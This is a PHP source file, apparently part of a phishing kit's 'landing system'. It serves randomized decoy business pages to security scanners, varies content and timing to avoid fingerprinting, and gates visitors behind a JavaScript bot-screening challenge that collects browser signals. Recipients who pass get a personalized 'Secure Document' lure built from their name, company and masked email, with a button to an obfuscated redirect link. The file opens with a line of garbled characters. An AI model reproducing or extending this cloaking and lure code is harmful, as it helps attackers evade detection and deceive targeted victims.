²ιΏ΄/±ΰΌ ΄ϊΒλ
ΔΪΘέ
<?php /** * βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ * LANDING SYSTEM - RESPONSE HANDLERS * βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ */ class Response { /** * Mask email address (john@example.com -> j***@e***.com) */ private static function maskEmail($email) { if (empty($email) || strpos($email, '@') === false) { return '***@***.***'; } list($local, $domain) = explode('@', $email); $domainParts = explode('.', $domain); // Mask local part: keep first char, mask rest $maskedLocal = strlen($local) > 0 ? substr($local, 0, 1) . '***' : '***'; // Mask domain: keep first char of each part $maskedDomain = array_map(function($part) { return strlen($part) > 0 ? substr($part, 0, 1) . '***' : '***'; }, $domainParts); return $maskedLocal . '@' . implode('.', $maskedDomain); } /** * Serve decoy page (for scanners) * Uses random template selection and dynamic content to avoid fingerprinting */ public static function decoy($type = null) { global $DECOY_CONTENT; // Special types that should not be randomized $fixedTypes = ['maintenance', 'notfound']; // If type not specified, randomly select from available templates if ($type === null && defined('DECOY_TEMPLATES') && is_array(DECOY_TEMPLATES) && count(DECOY_TEMPLATES) > 0) { $type = DECOY_TEMPLATES[array_rand(DECOY_TEMPLATES)]; } $type = $type ?? DEFAULT_DECOY_TEMPLATE; $content = $DECOY_CONTENT[$type] ?? $DECOY_CONTENT['business']; // Load decoy template $templateFile = TEMPLATES_PATH . '/decoy/' . $type . '.html'; if (file_exists($templateFile)) { $html = file_get_contents($templateFile); // Replace placeholders in decoy foreach ($content as $key => $value) { $html = str_replace('{{' . $key . '}}', htmlspecialchars($value), $html); } // Apply dynamic content randomization (Phase 3.4) $html = self::randomizeDecoyContent($html); // Add random delay to vary response timing (avoid fingerprinting) usleep(mt_rand(50000, 200000)); // 50-200ms self::html($html); } else { // Fallback: generate simple decoy self::generateDecoy($content); } } /** * Randomize dynamic content in decoy pages * Phase 3.4: Avoid static fingerprinting */ private static function randomizeDecoyContent($html) { // Randomize statistics (Β±10% variance) $html = preg_replace_callback('/\b(10,000)\+/', function($m) { return number_format(rand(9000, 11000)) . '+'; }, $html); $html = preg_replace_callback('/\b(4\.9)β /', function($m) { return number_format(rand(47, 50) / 10, 1) . 'β '; }, $html); $html = preg_replace_callback('/\b(247)\s*(<\/span>|\s*5-Star)/', function($m) { return rand(230, 280) . $m[2]; }, $html); $html = preg_replace_callback('/\b(15)\+\s*(<\/span>|\s*Years)/', function($m) { return rand(14, 17) . '+' . $m[2]; }, $html); // Randomize testimonial initials (keep consistent within page) $initials = ['JH', 'MT', 'AL', 'SK', 'DP', 'RW', 'CL', 'BM', 'NP', 'KT']; shuffle($initials); $html = preg_replace_callback('/>([A-Z]{2})<\/div>\s*<div>\s*<div class="testimonial-name">([^<]+)</', function($m) use (&$initials) { $initial = array_shift($initials) ?: $m[1]; return '>' . $initial . '</div><div><div class="testimonial-name">' . $m[2] . '<'; }, $html); // Randomize year in copyright (current year) $currentYear = date('Y'); $html = preg_replace('/2009-20\d{2}/', '2009-' . $currentYear, $html); // Add cache-busting comment (invisible, different each time) $cacheToken = '<!-- v' . substr(md5(microtime()), 0, 8) . ' -->'; $html = str_replace('</head>', $cacheToken . "\n</head>", $html); return $html; } /** * Generate simple decoy page */ private static function generateDecoy($content) { $html = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>' . htmlspecialchars($content['title'] ?? SITE_NAME) . '</title> <meta name="description" content="' . htmlspecialchars($content['description'] ?? SITE_DESCRIPTION) . '"> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; line-height: 1.6; color: #333; background: #f5f5f5; } .header { background: #2c5282; color: white; padding: 20px 0; } .container { max-width: 1200px; margin: 0 auto; padding: 0 20px; } .hero { text-align: center; padding: 60px 20px; background: white; } .hero h1 { font-size: 2.5em; margin-bottom: 10px; color: #2c5282; } .hero p { font-size: 1.2em; color: #666; } .content { padding: 40px 20px; } .services { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 20px; margin-top: 30px; } .service { background: white; padding: 30px; border-radius: 8px; text-align: center; } .service h3 { color: #2c5282; margin-bottom: 10px; } .footer { background: #2c5282; color: white; padding: 30px 20px; margin-top: 40px; text-align: center; } .contact { margin-top: 20px; } .contact a { color: white; text-decoration: none; margin: 0 10px; } </style> </head> <body> <header class="header"> <div class="container"> <h2>' . htmlspecialchars(SITE_NAME) . '</h2> </div> </header> <section class="hero"> <div class="container"> <h1>' . htmlspecialchars($content['tagline'] ?? 'Welcome') . '</h1> <p>' . htmlspecialchars($content['description'] ?? '') . '</p> </div> </section> <section class="content"> <div class="container"> <h2>Our Services</h2> <div class="services"> <div class="service"> <h3>Consultations</h3> <p>Professional consultations tailored to your needs.</p> </div> <div class="service"> <h3>Treatments</h3> <p>Expert treatments using proven methods.</p> </div> <div class="service"> <h3>Follow-up Care</h3> <p>Ongoing support for your wellness journey.</p> </div> </div> </div> </section> <footer class="footer"> <div class="container"> <p>© ' . date('Y') . ' ' . htmlspecialchars(SITE_NAME) . '. All rights reserved.</p> <div class="contact"> <a href="tel:' . ($content['phone'] ?? '') . '">' . htmlspecialchars($content['phone'] ?? '') . '</a> <a href="mailto:' . ($content['email'] ?? '') . '">' . htmlspecialchars($content['email'] ?? '') . '</a> </div> </div> </footer> </body> </html>'; self::html($html); } /** * Serve challenge page (JS verification) */ public static function challenge($recipientId) { // Generate verification token $token = bin2hex(random_bytes(16)); // Store token in database database()->createVerification($recipientId, $token); // Load challenge template $templateFile = TEMPLATES_PATH . '/challenge/verify.html'; if (file_exists($templateFile)) { $html = file_get_contents($templateFile); $html = str_replace('{{VISITOR_ID}}', htmlspecialchars($recipientId), $html); $html = str_replace('{{TOKEN}}', htmlspecialchars($token), $html); self::html($html); } else { // Fallback: generate simple challenge self::generateChallenge($recipientId, $token); } } /** * Generate simple challenge page */ private static function generateChallenge($recipientId, $token) { $html = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Verifying Access...</title> <style> body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; display: flex; align-items: center; justify-content: center; min-height: 100vh; margin: 0; background: #f5f5f5; } .container { text-align: center; padding: 40px; background: white; border-radius: 10px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); } h2 { color: #333; margin-bottom: 20px; } .loader { border: 4px solid #f3f3f3; border-top: 4px solid #2c5282; border-radius: 50%; width: 50px; height: 50px; animation: spin 1s linear infinite; margin: 20px auto; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } p { color: #666; } </style> </head> <body> <div class="container"> <h2>Verifying your access...</h2> <div class="loader"></div> <p>Please wait a moment.</p> </div> <script> (function() { var verified = false; var signals = { screen: window.screen.width + "x" + window.screen.height, colorDepth: window.screen.colorDepth, timezone: Intl.DateTimeFormat().resolvedOptions().timeZone, language: navigator.language, platform: navigator.platform, cookieEnabled: navigator.cookieEnabled, loadTime: performance.now() }; function verify() { if (verified) return; verified = true; var xhr = new XMLHttpRequest(); xhr.open("POST", "/verify", true); xhr.setRequestHeader("Content-Type", "application/json"); xhr.onload = function() { if (xhr.status === 200) { try { var resp = JSON.parse(xhr.responseText); if (resp.redirect) { window.location.href = resp.redirect; } } catch(e) {} } }; xhr.send(JSON.stringify({ id: "' . $recipientId . '", token: "' . $token . '", signals: signals })); } document.addEventListener("mousemove", verify, {once: true}); document.addEventListener("touchstart", verify, {once: true}); document.addEventListener("click", verify, {once: true}); document.addEventListener("keydown", verify, {once: true}); document.addEventListener("scroll", verify, {once: true}); setTimeout(function() { if (!verified) verify(); }, ' . (CHALLENGE_TIMEOUT_SECONDS * 1000) . '); })(); </script> </body> </html>'; self::html($html); } /** * Serve personalized landing page */ public static function landing($recipient, $template = null) { global $PLACEHOLDER_DEFAULTS; $template = $template ?? $recipient['template'] ?? 'document'; $templateFile = TEMPLATES_PATH . '/landing/' . $template . '.html'; if (!file_exists($templateFile)) { $templateFile = TEMPLATES_PATH . '/landing/document.html'; } if (!file_exists($templateFile)) { // Generate basic landing if no template self::generateLanding($recipient); return; } $html = file_get_contents($templateFile); // Build the action URL (redirect to secure endpoint) $recipientId = $recipient['id'] ?? ''; $obfuscatedId = UrlProcessor::obfuscateId($recipientId); // Include SITE_PATH for subfolder installations $sitePath = defined('SITE_PATH') ? SITE_PATH : ''; $actionUrl = $sitePath . '/' . URL_PATH_REDIRECT . '/' . $obfuscatedId; // Create masked email (j***@e***.com format) $email = $recipient['email'] ?? ''; $emailMasked = self::maskEmail($email); // Generate document reference $docRef = 'DOC-' . strtoupper(substr(md5($recipientId . $email), 0, 8)); // Build placeholders from recipient data $placeholders = array_merge($PLACEHOLDER_DEFAULTS, [ '{{name}}' => $recipient['name'] ?? $PLACEHOLDER_DEFAULTS['{{name}}'], '{{firstname}}' => $recipient['firstname'] ?? $PLACEHOLDER_DEFAULTS['{{firstname}}'], '{{lastname}}' => $recipient['lastname'] ?? $PLACEHOLDER_DEFAULTS['{{lastname}}'], '{{email}}' => $email, '{{email_masked}}' => $emailMasked, '{{company}}' => $recipient['company'] ?? $PLACEHOLDER_DEFAULTS['{{company}}'], '{{domain}}' => $recipient['domain'] ?? '', '{{id}}' => $recipientId, '{{action_url}}' => $actionUrl, '{{doc_ref}}' => $docRef, ]); // Custom data from JSON if (!empty($recipient['custom_data'])) { $customData = json_decode($recipient['custom_data'], true); if (is_array($customData)) { foreach ($customData as $key => $value) { $placeholders['{{' . $key . '}}'] = $value; } } } // Replace all placeholders foreach ($placeholders as $placeholder => $value) { $html = str_replace($placeholder, htmlspecialchars($value), $html); } self::html($html); } /** * Generate basic landing page */ private static function generateLanding($recipient) { $name = $recipient['firstname'] ?? $recipient['name'] ?? 'there'; $html = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Secure Document</title> <style> body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; display: flex; align-items: center; justify-content: center; min-height: 100vh; margin: 0; background: #f5f5f5; } .container { text-align: center; padding: 40px; background: white; border-radius: 10px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); max-width: 500px; } h2 { color: #333; margin-bottom: 20px; } p { color: #666; margin-bottom: 20px; } .btn { display: inline-block; padding: 12px 30px; background: #2c5282; color: white; text-decoration: none; border-radius: 5px; font-weight: 500; } .btn:hover { background: #1a365d; } </style> </head> <body> <div class="container"> <h2>Hello, ' . htmlspecialchars($name) . '</h2> <p>Your document is ready to view.</p> <a href="' . (defined('SITE_PATH') ? SITE_PATH : '') . '/d/' . htmlspecialchars($recipient['id']) . '" class="btn">View Document</a> </div> </body> </html>'; self::html($html); } /** * Send HTML response */ public static function html($content, $status = 200) { http_response_code($status); header('Content-Type: text/html; charset=utf-8'); header('Cache-Control: no-cache, no-store, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); echo $content; exit; } /** * Send JSON response */ public static function json($data, $status = 200) { http_response_code($status); header('Content-Type: application/json'); header('Cache-Control: no-cache'); echo json_encode($data); exit; } /** * Send redirect (Audit Fix: Bug #2 - URL Validation) */ public static function redirect($url, $status = 302) { // Validate URL format if (!filter_var($url, FILTER_VALIDATE_URL)) { log_error("Invalid redirect URL rejected: $url"); self::decoy(); return; } // Only allow http/https schemes (block javascript:, data:, etc.) $scheme = parse_url($url, PHP_URL_SCHEME); if (!in_array(strtolower($scheme), ['http', 'https'])) { log_error("Invalid redirect scheme rejected: $scheme"); self::decoy(); return; } http_response_code($status); header('Location: ' . $url); exit; } /** * Send 404 (as decoy, not real 404) */ public static function notFound() { self::decoy('notfound'); } /** * Send error (as decoy) */ public static function error($message = null) { log_error($message ?? 'Unknown error'); self::decoy('maintenance'); } } /** * Quick response functions */ function respond_decoy($type = null) { Response::decoy($type); } function respond_challenge($recipientId) { Response::challenge($recipientId); } function respond_landing($recipient, $template = null) { Response::landing($recipient, $template); } function respond_json($data, $status = 200) { Response::json($data, $status); } function respond_redirect($url) { Response::redirect($url); }